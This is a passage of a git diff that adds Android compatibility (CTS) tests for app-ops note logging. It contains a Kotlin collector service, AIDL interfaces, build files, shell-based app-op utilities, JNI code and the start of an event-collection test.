+ override fun onBind(intent: Intent?): IBinder? {
+ return object : IAppOpsUserService.Stub() {
+ private val appOpsManager = getSystemService(AppOpsManager::class.java)
+
+ // Collected note-op calls inside of this process
+ private val noted = mutableListOf<Pair<SyncNotedAppOp, Array<StackTraceElement>>>()
+ private val selfNoted = mutableListOf<Pair<SyncNotedAppOp, Array<StackTraceElement>>>()
+ private val asyncNoted = mutableListOf<AsyncNotedAppOp>()
+
+ private fun setNotedAppOpsCollector() {
+ appOpsManager.setNotedAppOpsCollector(
+ object : AppOpsManager.AppOpsCollector() {
+ override fun onNoted(op: SyncNotedAppOp) {
+ noted.add(op to Throwable().stackTrace)
+ }
+
+ override fun onSelfNoted(op: SyncNotedAppOp) {
+ selfNoted.add(op to Throwable().stackTrace)
+ }
+
+ override fun onAsyncNoted(asyncOp: AsyncNotedAppOp) {
+ asyncNoted.add(asyncOp)
+ }
+ })
+ }
+
+ init {
+ setNotedAppOpsCollector()
+ }
+
+ /**
+ * Cheapo variant of {@link ParcelableException}
+ */
+ inline fun forwardThrowableFrom(r: () -> Unit) {
+ try {
+ r()
+ } catch (t: Throwable) {
+ val sw = StringWriter()
+ t.printStackTrace(PrintWriter(sw))
+
+ throw IllegalArgumentException("\n" + sw.toString() + "called by")
+ }
+ }
+
+ override fun disableCollectorAndCallSyncOpsWhichWillNotBeCollected(
+ client: IAppOpsUserClient
+ ) {
+ forwardThrowableFrom {
+ appOpsManager.setNotedAppOpsCollector(null)
+
+ client.noteSyncOp()
+
+ assertThat(asyncNoted).isEmpty()
+
+ setNotedAppOpsCollector()
+
+ assertThat(noted).isEmpty()
+ assertThat(selfNoted).isEmpty()
+ eventually {
+ assertThat(asyncNoted.map { it.op }).containsExactly(OPSTR_COARSE_LOCATION)
+ }
+ }
+ }
+
+ override fun disableCollectorAndCallASyncOpsWhichWillBeCollected(
+ client: IAppOpsUserClient
+ ) {
+ forwardThrowableFrom {
+ appOpsManager.setNotedAppOpsCollector(null)
+
+ client.noteAsyncOp()
+
+ setNotedAppOpsCollector()
+
+ eventually {
+ assertThat(asyncNoted.map { it.op }).containsExactly(OPSTR_COARSE_LOCATION)
+ }
+ assertThat(noted).isEmpty()
+ assertThat(selfNoted).isEmpty()
+ }
+ }
+
+ override fun callApiThatNotesSyncOpAndCheckLog(client: IAppOpsUserClient) {
+ forwardThrowableFrom {
+ client.noteSyncOp()
+
+ assertThat(noted.map { it.first.featureId to it.first.op })
+ .containsExactly(null to OPSTR_COARSE_LOCATION)
+ assertThat(noted[0].second.map { it.methodName })
+ .contains("callApiThatNotesSyncOpAndCheckLog")
+ assertThat(selfNoted).isEmpty()
+ assertThat(asyncNoted).isEmpty()
+ }
+ }
+
+ override fun callApiThatNotesSyncOpAndClearLog(client: IAppOpsUserClient) {
+ forwardThrowableFrom {
+ client.noteSyncOp()
+
+ assertThat(noted.map { it.first.op }).containsExactly(OPSTR_COARSE_LOCATION)
+ assertThat(noted[0].second.map { it.methodName })
+ .contains("callApiThatNotesSyncOpAndClearLog")
+ assertThat(selfNoted).isEmpty()
+ assertThat(asyncNoted).isEmpty()
+
+ noted.clear()
+ }
+ }
+
+ override fun callApiThatNotesSyncOpWithFeatureAndCheckLog(client: IAppOpsUserClient) {
+ forwardThrowableFrom {
+ client.noteSyncOpWithFeature(TEST_FEATURE_ID)
+
+ assertThat(noted.map { it.first.featureId }).containsExactly(TEST_FEATURE_ID)
+ }
+ }
+
+ override fun callApiThatCallsBackIntoServiceAndCheckLog(client: IAppOpsUserClient) {
+ forwardThrowableFrom {
+ // This calls back into the service via callApiThatNotesSyncOpAndClearLog
+ client.callBackIntoService()
+
+ // The noteSyncOp called in callApiThatNotesSyncOpAndClearLog should not have
+ // affected the callBackIntoService call
+ assertThat(noted.map { it.first.op }).containsExactly(OPSTR_FINE_LOCATION)
+ assertThat(noted[0].second.map { it.methodName })
+ .contains("callApiThatCallsBackIntoServiceAndCheckLog")
+ assertThat(selfNoted).isEmpty()
+ assertThat(asyncNoted).isEmpty()
+ }
+ }
+
+ override fun callApiThatNotesSyncOpFromNativeCodeAndCheckLog(
+ client: IAppOpsUserClient
+ ) {
+ forwardThrowableFrom {
+ noteSyncOpFromNativeCode(client.asBinder())
+
+ eventually {
+ assertThat(asyncNoted.map { it.op }).containsExactly(OPSTR_COARSE_LOCATION)
+ }
+ assertThat(noted).isEmpty()
+ assertThat(selfNoted).isEmpty()
+ }
+ }
+
+ override fun callApiThatNotesSyncOpFromNativeCodeAndCheckMessage(
+ client: IAppOpsUserClient
+ ) {
+ forwardThrowableFrom {
+ noteSyncOpFromNativeCode(client.asBinder())
+
+ eventually {
+ assertThat(asyncNoted[0].notingPackageName).isEqualTo(
+ "android.app.appops.cts")
+ assertThat(asyncNoted[0].notingUid).isAtLeast(FIRST_APPLICATION_UID)
+ assertThat(asyncNoted[0].message).isNotEmpty()
+ }
+ }
+ }
+
+ override fun callApiThatNotesSyncOpAndCheckStackTrace(client: IAppOpsUserClient) {
+ forwardThrowableFrom {
+ client.noteSyncOp()
+ assertThat(noted[0].second.map { it.methodName }).contains(
+ "callApiThatNotesSyncOpAndCheckStackTrace")
+ }
+ }
+
+ override fun callApiThatNotesNonPermissionSyncOpAndCheckLog(
+ client: IAppOpsUserClient
+ ) {
+ forwardThrowableFrom {
+ client.noteNonPermissionSyncOp()
+
+ assertThat(selfNoted).isEmpty()
+ assertThat(asyncNoted).isEmpty()
+ assertThat(noted).isEmpty()
+ }
+ }
+
+ override fun callApiThatNotesTwiceSyncOpAndCheckLog(client: IAppOpsUserClient) {
+ forwardThrowableFrom {
+ client.noteSyncOpTwice()
+
+ // Ops noted twice are only reported once
+ assertThat(noted.map { it.first.op }).containsExactly(OPSTR_COARSE_LOCATION)
+ assertThat(noted[0].second.map { it.methodName })
+ .contains("callApiThatNotesTwiceSyncOpAndCheckLog")
+ assertThat(selfNoted).isEmpty()
+ assertThat(asyncNoted).isEmpty()
+ }
+ }
+
+ override fun callApiThatNotesTwoSyncOpAndCheckLog(client: IAppOpsUserClient) {
+ forwardThrowableFrom {
+ client.noteTwoSyncOp()
+
+ assertThat(noted.map { it.first.op }).containsExactly(
+ OPSTR_COARSE_LOCATION, OPSTR_GET_ACCOUNTS)
+ assertThat(noted[0].second.map { it.methodName })
+ .contains("callApiThatNotesTwoSyncOpAndCheckLog")
+ assertThat(noted[1].second.map { it.methodName })
+ .contains("callApiThatNotesTwoSyncOpAndCheckLog")
+ assertThat(selfNoted).isEmpty()
+ assertThat(asyncNoted).isEmpty()
+ }
+ }
+
+ override fun callApiThatNotesSyncOpNativelyAndCheckLog(client: IAppOpsUserClient) {
+ forwardThrowableFrom {
+ client.noteSyncOpNative()
+
+ // All native notes will be reported as async notes
+ eventually {
+ assertThat(asyncNoted.map { it.op }).containsExactly(OPSTR_COARSE_LOCATION)
+ }
+ assertThat(noted).isEmpty()
+ assertThat(selfNoted).isEmpty()
+ }
+ }
+
+ override fun callApiThatNotesNonPermissionSyncOpNativelyAndCheckLog(
+ client: IAppOpsUserClient
+ ) {
+ forwardThrowableFrom {
+ client.noteNonPermissionSyncOpNative()
+
+ // All native notes will be reported as async notes
+ assertThat(noted).isEmpty()
+ assertThat(selfNoted).isEmpty()
+ assertThat(asyncNoted).isEmpty()
+ }
+ }
+
+ override fun callOnewayApiThatNotesSyncOpAndCheckLog(client: IAppOpsUserClient) {
+ forwardThrowableFrom {
+ client.noteSyncOpOneway()
+
+ // There is not return value from a one-way call, hence async note is the only
+ // option
+ eventually {
+ assertThat(asyncNoted.map { it.op }).containsExactly(OPSTR_COARSE_LOCATION)
+ }
+ assertThat(noted).isEmpty()
+ assertThat(selfNoted).isEmpty()
+ }
+ }
+
+ override fun callOnewayApiThatNotesSyncOpNativelyAndCheckLog(
+ client: IAppOpsUserClient
+ ) {
+ forwardThrowableFrom {
+ client.noteSyncOpOnewayNative()
+
+ // There is not return value from a one-way call, hence async note is the only
+ // option
+ eventually {
+ assertThat(asyncNoted.map { it.op }).containsExactly(OPSTR_COARSE_LOCATION)
+ }
+ assertThat(noted).isEmpty()
+ assertThat(selfNoted).isEmpty()
+ }
+ }
+
+ override fun callApiThatNotesSyncOpOtherUidAndCheckLog(client: IAppOpsUserClient) {
+ forwardThrowableFrom {
+ client.noteSyncOpOtherUid()
+
+ assertThat(noted).isEmpty()
+ assertThat(selfNoted).isEmpty()
+ assertThat(asyncNoted).isEmpty()
+ }
+ }
+
+ override fun callApiThatNotesSyncOpOtherUidNativelyAndCheckLog(
+ client: IAppOpsUserClient
+ ) {
+ forwardThrowableFrom {
+ client.noteSyncOpOtherUidNative()
+
+ assertThat(noted).isEmpty()
+ assertThat(selfNoted).isEmpty()
+ assertThat(asyncNoted).isEmpty()
+ }
+ }
+
+ override fun callApiThatNotesAsyncOpAndCheckLog(client: IAppOpsUserClient) {
+ forwardThrowableFrom {
+ client.noteAsyncOp()
+
+ eventually {
+ assertThat(asyncNoted.map { it.featureId to it.op })
+ .containsExactly(null to OPSTR_COARSE_LOCATION)
+ }
+ assertThat(noted).isEmpty()
+ assertThat(selfNoted).isEmpty()
+ }
+ }
+
+ override fun callApiThatNotesAsyncOpWithFeatureAndCheckLog(
+ client: IAppOpsUserClient
+ ) {
+ forwardThrowableFrom {
+ client.noteAsyncOpWithFeature(TEST_FEATURE_ID)
+
+ eventually {
+ assertThat(asyncNoted.map { it.featureId })
+ .containsExactly(TEST_FEATURE_ID)
+ }
+ }
+ }
+
+ override fun callApiThatNotesAsyncOpAndCheckDefaultMessage(client: IAppOpsUserClient) {
+ forwardThrowableFrom {
+ client.noteAsyncOp()
+
+ eventually {
+ assertThat(asyncNoted[0].notingPackageName).isEqualTo(
+ "android.app.appops.cts")
+ assertThat(asyncNoted[0].notingUid).isAtLeast(FIRST_APPLICATION_UID)
+ assertThat(asyncNoted[0].message).contains(
+ "AppOpsLoggingTest\$AppOpsUserClient\$noteAsyncOp")
+ }
+ }
+ }
+
+ override fun callApiThatNotesAsyncOpAndCheckCustomMessage(client: IAppOpsUserClient) {
+ forwardThrowableFrom {
+ client.noteAsyncOpWithCustomMessage()
+
+ eventually {
+ assertThat(asyncNoted[0].notingPackageName).isEqualTo(
+ "android.app.appops.cts")
+ assertThat(asyncNoted[0].notingUid).isAtLeast(FIRST_APPLICATION_UID)
+ assertThat(asyncNoted[0].message).isEqualTo("custom msg")
+ }
+ }
+ }
+
+ override fun callApiThatNotesAsyncOpNativelyAndCheckCustomMessage(
+ client: IAppOpsUserClient
+ ) {
+ forwardThrowableFrom {
+ client.noteAsyncOpNativeWithCustomMessage()
+
+ eventually {
+ assertThat(asyncNoted[0].notingPackageName).isNull()
+ assertThat(asyncNoted[0].notingUid).isAtLeast(FIRST_APPLICATION_UID)
+ assertThat(asyncNoted[0].message).isEqualTo("native custom msg")
+ }
+ }
+ }
+
+ override fun callApiThatNotesAsyncOpNativelyAndCheckLog(client: IAppOpsUserClient) {
+ forwardThrowableFrom {
+ client.noteAsyncOpNative()
+
+ eventually {
+ assertThat(asyncNoted.map { it.op }).containsExactly(OPSTR_COARSE_LOCATION)
+ }
+ assertThat(noted).isEmpty()
+ assertThat(selfNoted).isEmpty()
+ }
+ }
+ }
+ }
+}
diff --git a/tests/tests/appop/OWNERS b/tests/tests/appop/OWNERS
new file mode 100644
index 0000000..d21846d
--- /dev/null
+++ b/tests/tests/appop/OWNERS
@@ -0,0 +1,2 @@
+# Bug component: 137825
+include ../toast/OWNERS
diff --git a/tests/tests/appop/aidl/Android.bp b/tests/tests/appop/aidl/Android.bp
new file mode 100644
index 0000000..ed5b3ff
--- /dev/null
+++ b/tests/tests/appop/aidl/Android.bp
@@ -0,0 +1,37 @@
+// Copyright (C) 2019 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+// http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+aidl_interface {
+ name: "AppOpsUserServiceAidlNative",
+
+ local_include_dir: "src",
+
+ srcs: [
+ "src/**/*.aidl"
+ ],
+
+ backend: {
+ java: {
+ sdk_version: "current",
+ }
+ }
+}
+
+java_library {
+ name: "AppOpsUserServiceAidl",
+
+ srcs: [
+ "src/**/*.aidl"
+ ],
+}
\ No newline at end of file
diff --git a/tests/tests/appop/aidl/src/android/app/appops/cts/IAppOpsUserClient.aidl b/tests/tests/appop/aidl/src/android/app/appops/cts/IAppOpsUserClient.aidl
new file mode 100644
index 0000000..f3af855
--- /dev/null
+++ b/tests/tests/appop/aidl/src/android/app/appops/cts/IAppOpsUserClient.aidl
@@ -0,0 +1,37 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.app.appops.cts;
+
+interface IAppOpsUserClient {
+ void noteSyncOp();
+ void noteSyncOpWithFeature(String featureId);
+ void callBackIntoService();
+ void noteNonPermissionSyncOp();
+ void noteSyncOpTwice();
+ void noteTwoSyncOp();
+ void noteSyncOpNative();
+ void noteNonPermissionSyncOpNative();
+ oneway void noteSyncOpOneway();
+ oneway void noteSyncOpOnewayNative();
+ void noteSyncOpOtherUid();
+ void noteSyncOpOtherUidNative();
+ void noteAsyncOp();
+ void noteAsyncOpWithFeature(String featureId);
+ void noteAsyncOpWithCustomMessage();
+ void noteAsyncOpNative();
+ void noteAsyncOpNativeWithCustomMessage();
+}
diff --git a/tests/tests/appop/aidl/src/android/app/appops/cts/IAppOpsUserService.aidl b/tests/tests/appop/aidl/src/android/app/appops/cts/IAppOpsUserService.aidl
new file mode 100644
index 0000000..a19705f
--- /dev/null
+++ b/tests/tests/appop/aidl/src/android/app/appops/cts/IAppOpsUserService.aidl
@@ -0,0 +1,46 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.app.appops.cts;
+
+import android.app.appops.cts.IAppOpsUserClient;
+
+interface IAppOpsUserService {
+ void disableCollectorAndCallSyncOpsWhichWillNotBeCollected(in IAppOpsUserClient client);
+ void disableCollectorAndCallASyncOpsWhichWillBeCollected(in IAppOpsUserClient client);
+ void callApiThatNotesSyncOpAndCheckLog(in IAppOpsUserClient client);
+ void callApiThatNotesSyncOpAndClearLog(in IAppOpsUserClient client);
+ void callApiThatNotesSyncOpWithFeatureAndCheckLog(in IAppOpsUserClient client);
+ void callApiThatCallsBackIntoServiceAndCheckLog(in IAppOpsUserClient client);
+ void callApiThatNotesSyncOpFromNativeCodeAndCheckLog(in IAppOpsUserClient client);
+ void callApiThatNotesSyncOpFromNativeCodeAndCheckMessage(in IAppOpsUserClient client);
+ void callApiThatNotesSyncOpAndCheckStackTrace(in IAppOpsUserClient client);
+ void callApiThatNotesNonPermissionSyncOpAndCheckLog(in IAppOpsUserClient client);
+ void callApiThatNotesTwiceSyncOpAndCheckLog(in IAppOpsUserClient client);
+ void callApiThatNotesTwoSyncOpAndCheckLog(in IAppOpsUserClient client);
+ void callApiThatNotesSyncOpNativelyAndCheckLog(in IAppOpsUserClient client);
+ void callApiThatNotesNonPermissionSyncOpNativelyAndCheckLog(in IAppOpsUserClient client);
+ void callOnewayApiThatNotesSyncOpAndCheckLog(in IAppOpsUserClient client);
+ void callOnewayApiThatNotesSyncOpNativelyAndCheckLog(in IAppOpsUserClient client);
+ void callApiThatNotesSyncOpOtherUidAndCheckLog(in IAppOpsUserClient client);
+ void callApiThatNotesSyncOpOtherUidNativelyAndCheckLog(in IAppOpsUserClient client);
+ void callApiThatNotesAsyncOpAndCheckLog(in IAppOpsUserClient client);
+ void callApiThatNotesAsyncOpWithFeatureAndCheckLog(in IAppOpsUserClient client);
+ void callApiThatNotesAsyncOpAndCheckDefaultMessage(in IAppOpsUserClient client);
+ void callApiThatNotesAsyncOpAndCheckCustomMessage(in IAppOpsUserClient client);
+ void callApiThatNotesAsyncOpNativelyAndCheckCustomMessage(in IAppOpsUserClient client);
+ void callApiThatNotesAsyncOpNativelyAndCheckLog(in IAppOpsUserClient client);
+}
diff --git a/tests/tests/appop/appopsTestUtilLib/Android.bp b/tests/tests/appop/appopsTestUtilLib/Android.bp
new file mode 100644
index 0000000..935909c
--- /dev/null
+++ b/tests/tests/appop/appopsTestUtilLib/Android.bp
@@ -0,0 +1,28 @@
+// Copyright (C) 2019 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+// http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+java_library {
+ name: "appops-test-util-lib",
+
+ srcs: ["src/**/*.kt"],
+
+ static_libs: [
+ "androidx.test.rules",
+ "compatibility-device-util-axt",
+ "androidx.legacy_legacy-support-v4",
+ "platform-test-annotations",
+ ],
+
+ sdk_version: "test_current",
+}
diff --git a/tests/tests/appop/appopsTestUtilLib/src/android/app/appops/cts/AppOpsUtils.kt b/tests/tests/appop/appopsTestUtilLib/src/android/app/appops/cts/AppOpsUtils.kt
new file mode 100644
index 0000000..1996823
--- /dev/null
+++ b/tests/tests/appop/appopsTestUtilLib/src/android/app/appops/cts/AppOpsUtils.kt
@@ -0,0 +1,153 @@
+/*
+ * Copyright (C) 2018 Google Inc.
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.app.appops.cts
+
+import android.app.AppOpsManager.MODE_ALLOWED
+import android.app.AppOpsManager.MODE_DEFAULT
+import android.app.AppOpsManager.MODE_ERRORED
+import android.app.AppOpsManager.MODE_IGNORED
+import android.util.Log
+import androidx.test.InstrumentationRegistry
+import com.android.compatibility.common.util.SystemUtil
+
+private const val LOG_TAG = "AppOpsUtils"
+private const val TIMEOUT_MILLIS = 10000L
+
+const val TEST_FEATURE_ID = "testFeature"
+
+/**
+ * Resets a package's app ops configuration to the device default. See AppOpsManager for the
+ * default op settings.
+ *
+ * <p>
+ * It's recommended to call this in setUp() and tearDown() of your test so the test starts and
+ * ends with a reproducible default state, and so doesn't affect other tests.
+ *
+ * <p>
+ * Some app ops are configured to be non-resettable, which means that the state of these will
+ * not be reset even when calling this method.
+ */
+fun reset(packageName: String): String {
+ return runCommand("appops reset $packageName")
+}
+
+/**
+ * Sets the app op mode (e.g. allowed, denied) for a single package and operation.
+ */
+fun setOpMode(packageName: String, opStr: String, mode: Int): String {
+ val modeStr = when (mode) {
+ MODE_ALLOWED -> "allow"
+ MODE_ERRORED -> "deny"
+ MODE_IGNORED -> "ignore"
+ MODE_DEFAULT -> "default"
+ else -> throw IllegalArgumentException("Unexpected app op type")
+ }
+ val command = "appops set $packageName $opStr $modeStr"
+ return runCommand(command)
+}
+
+/**
+ * Get the app op mode (e.g. MODE_ALLOWED, MODE_DEFAULT) for a single package and operation.
+ */
+fun getOpMode(packageName: String, opStr: String): Int {
+ val opState = getOpState(packageName, opStr)
+ return when {
+ opState.contains(" allow") -> MODE_ALLOWED
+ opState.contains(" deny") -> MODE_ERRORED
+ opState.contains(" ignore") -> MODE_IGNORED
+ opState.contains(" default") -> MODE_DEFAULT
+ else -> throw IllegalStateException("Unexpected app op mode returned $opState")
+ }
+}
+
+/**
+ * Returns whether an allowed operation has been logged by the AppOpsManager for a
+ * package. Operations are noted when the app attempts to perform them and calls e.g.
+ * {@link AppOpsManager#noteOperation}.
+ *
+ * @param opStr The public string constant of the operation (e.g. OPSTR_READ_SMS).
+ */
+fun allowedOperationLogged(packageName: String, opStr: String): Boolean {
+ return getOpState(packageName, opStr).contains(" time=")
+}
+
+/**
+ * Returns whether a rejected operation has been logged by the AppOpsManager for a
+ * package. Operations are noted when the app attempts to perform them and calls e.g.
+ * {@link AppOpsManager#noteOperation}.
+ *
+ * @param opStr The public string constant of the operation (e.g. OPSTR_READ_SMS).
+ */
+fun rejectedOperationLogged(packageName: String, opStr: String): Boolean {
+ return getOpState(packageName, opStr).contains(" rejectTime=")
+}
+
+/**
+ * Runs a lambda adopting Shell's permissions.
+ */
+inline fun <T> runWithShellPermissionIdentity(runnable: () -> T): T {
+ val uiAutomation = InstrumentationRegistry.getInstrumentation().getUiAutomation()
+ uiAutomation.adoptShellPermissionIdentity()
+ try {
+ return runnable.invoke()
+ } finally {
+ uiAutomation.dropShellPermissionIdentity()
+ }
+}
+
+/**
+ * Returns the app op state for a package. Includes information on when the operation
+ * was last attempted to be performed by the package.
+ *
+ * Format: "SEND_SMS: allow; time=+23h12m54s980ms ago; rejectTime=+1h10m23s180ms"
+ */
+private fun getOpState(packageName: String, opStr: String): String {
+ return runCommand("appops get $packageName $opStr")
+}
+
+private fun runCommand(command: String): String {
+ return SystemUtil.runShellCommand(InstrumentationRegistry.getInstrumentation(), command)
+}
+/**
+ * Make sure that a lambda eventually finishes without throwing an exception.
+ *
+ * @param r The lambda to run.
+ * @param timeout the maximum time to wait
+ *
+ * @return the return value from the lambda
+ *
+ * @throws NullPointerException If the return value never becomes non-null
+ */
+fun <T> eventually(timeout: Long = TIMEOUT_MILLIS, r: () -> T): T {
+ val start = System.currentTimeMillis()
+
+ while (true) {
+ try {
+ return r()
+ } catch (e: Throwable) {
+ val elapsed = System.currentTimeMillis() - start
+
+ if (elapsed < timeout) {
+ Log.d(LOG_TAG, "Ignoring exception", e)
+
+ Thread.sleep(minOf(100, timeout - elapsed))
+ } else {
+ throw e
+ }
+ }
+ }
+}
diff --git a/tests/tests/appop/jni/android/app/appops/cts/AppOpsLoggingTest.cpp b/tests/tests/appop/jni/android/app/appops/cts/AppOpsLoggingTest.cpp
new file mode 100644
index 0000000..0b47701
--- /dev/null
+++ b/tests/tests/appop/jni/android/app/appops/cts/AppOpsLoggingTest.cpp
@@ -0,0 +1,66 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include <jni.h>
+#include <binder/AppOpsManager.h>
+#include <utils/String16.h>
+
+using namespace android;
+
+#include "android/log.h"
+#ifdef LOG_TAG
+#undef LOG_TAG
+#endif
+#define LOG_TAG "AppOpsLoggingTest"
+
+// Note op from native code
+extern "C" JNIEXPORT void JNICALL
+Java_android_app_appops_cts_AppOpsLoggingTestKt_nativeNoteOp(JNIEnv* env, jobject obj,
+ jint op, jint uid, jstring jCallingPackageName, jstring jFeatureId, jstring jMessage) {
+ AppOpsManager appOpsManager;
+
+ const char *nativeCallingPackageName = env->GetStringUTFChars(jCallingPackageName, 0);
+ String16 callingPackageName(nativeCallingPackageName);
+
+ const char *nativeFeatureId;
+ std::unique_ptr<String16> featureId;
+ if (jFeatureId != nullptr) {
+ nativeFeatureId = env->GetStringUTFChars(jFeatureId, 0);
+ featureId = std::unique_ptr<String16>(new String16(nativeFeatureId));
+ }
+
+ const char *nativeMessage;
+ String16 *message;
+ if (jMessage != nullptr) {
+ nativeMessage = env->GetStringUTFChars(jMessage, 0);
+ message = new String16(nativeMessage);
+ } else {
+ message = new String16();
+ }
+
+ appOpsManager.noteOp(op, uid, callingPackageName, featureId, *message);
+
+ env->ReleaseStringUTFChars(jCallingPackageName, nativeCallingPackageName);
+
+ if (jFeatureId != nullptr) {
+ env->ReleaseStringUTFChars(jFeatureId, nativeFeatureId);
+ }
+
+ if (jMessage != nullptr) {
+ env->ReleaseStringUTFChars(jMessage, nativeMessage);
+ }
+ delete message;
+}
diff --git a/tests/tests/appop/src/android/app/appops/cts/AppOpEventCollectionTest.kt b/tests/tests/appop/src/android/app/appops/cts/AppOpEventCollectionTest.kt
new file mode 100644
index 0000000..52acd6d
--- /dev/null
+++ b/tests/tests/appop/src/android/app/appops/cts/AppOpEventCollectionTest.kt
@@ -0,0 +1,424 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.app.appops.cts
+
+import android.app.AppOpsManager
+import android.app.AppOpsManager.OPSTR_WIFI_SCAN
+import android.app.AppOpsManager.OP_FLAGS_ALL
+import android.app.AppOpsManager.OP_FLAG_SELF
+import android.app.AppOpsManager.OP_FLAG_TRUSTED_PROXIED
+import android.app.AppOpsManager.OP_FLAG_TRUSTED_PROXY
+import android.app.AppOpsManager.OP_FLAG_UNTRUSTED_PROXIED
+import android.app.AppOpsManager.OpEntry
+import android.app.Instrumentation
+import android.content.Intent
+import android.content.Intent.ACTION_APPLICATION_PREFERENCES
+import androidx.test.platform.app.InstrumentationRegistry
+import androidx.test.rule.ActivityTestRule
+import androidx.test.uiautomator.UiDevice
+import com.android.compatibility.common.util.SystemUtil.callWithShellPermissionIdentity
+import com.google.common.truth.Truth.assertThat
+import org.junit.Before
+import org.junit.Rule
+import org.junit.Test
+import java.lang.Thread.sleep
+
+class AppOpEventCollectionTest {
+ private val instrumentation = InstrumentationRegistry.getInstrumentation()
+ private val context = instrumentation.targetContext
+ private val appOpsManager = context.getSystemService(AppOpsManager::class.java)
+
+ private val myUid = android.os.Process.myUid()
+ private val myPackage = context.packageName
+
+ // Start an activity to make sure this app counts as being in the foreground
+ @Rule
+ @JvmField
+ var activityRule = ActivityTestRule(UidStateForceActivity::class.java)
+
+ @Before
+ fun wakeScreenUp() {
+ val uiDevice = UiDevice.getInstance(instrumentation)
+ uiDevice.wakeUp()
+ uiDevice.executeShellCommand("wm dismiss-keyguard")
+ }
+
+ @Before
+ fun makeSureTimeStampsAreDistinct() {
+ sleep(1)
+ }
+
+ private fun getOpEntry(uid: Int, packageName: String, op: String): OpEntry {
+ return callWithShellPermissionIdentity {
+ appOpsManager.getOpsForPackage(uid, packageName, op)
+ }[0].ops[0]!!
+ }
+
+ @Test
+ fun noteWithFeatureAndCheckOpEntries() {
+ val before = System.currentTimeMillis()
+ appOpsManager.noteOp(OPSTR_WIFI_SCAN, myUid, myPackage, "testFeature", null)
+ val after = System.currentTimeMillis()
+
+ val opEntry = getOpEntry(myUid, myPackage, OPSTR_WIFI_SCAN)
+ val featureOpEntry = opEntry.features["testFeature"]!!
+
+ assertThat(featureOpEntry.getLastAccessForegroundTime(OP_FLAG_SELF)).isIn(before..after)
+
+ // Access should should also show up in the combined state for all op-flags
+ assertThat(featureOpEntry.getLastAccessForegroundTime(OP_FLAGS_ALL)).isIn(before..after)
+ assertThat(opEntry.getLastAccessTime(OP_FLAGS_ALL)).isIn(before..after)
+
+ // Foreground access should should also show up in the combined state for fg and bg
+ assertThat(featureOpEntry.getLastAccessTime(OP_FLAG_SELF)).isIn(before..after)
+ assertThat(opEntry.getLastAccessTime(OP_FLAG_SELF)).isIn(before..after)
+
+ // The access was in foreground, hence there is no background access
+ assertThat(featureOpEntry.getLastBackgroundDuration(OP_FLAG_SELF)).isLessThan(before)
+ assertThat(opEntry.getLastBackgroundDuration(OP_FLAG_SELF)).isLessThan(before)
+
+ // The access was for a feature, hence there is no access for the default feature
+ if (null in opEntry.features) {
+ assertThat(opEntry.features[null]!!.getLastAccessForegroundTime(OP_FLAG_SELF))
+ .isLessThan(before)
+ }
+
+ // The access does not show up for other op-flags
+ assertThat(featureOpEntry.getLastAccessForegroundTime(
+ OP_FLAGS_ALL and OP_FLAG_SELF.inv())).isLessThan(before)
+ assertThat(opEntry.getLastAccessForegroundTime(
+ OP_FLAGS_ALL and OP_FLAG_SELF.inv())).isLessThan(before)
+ }
+
+ @Test
+ fun noteSelfAndTrustedAccessAndCheckOpEntries() {
+ val before = System.currentTimeMillis()
+
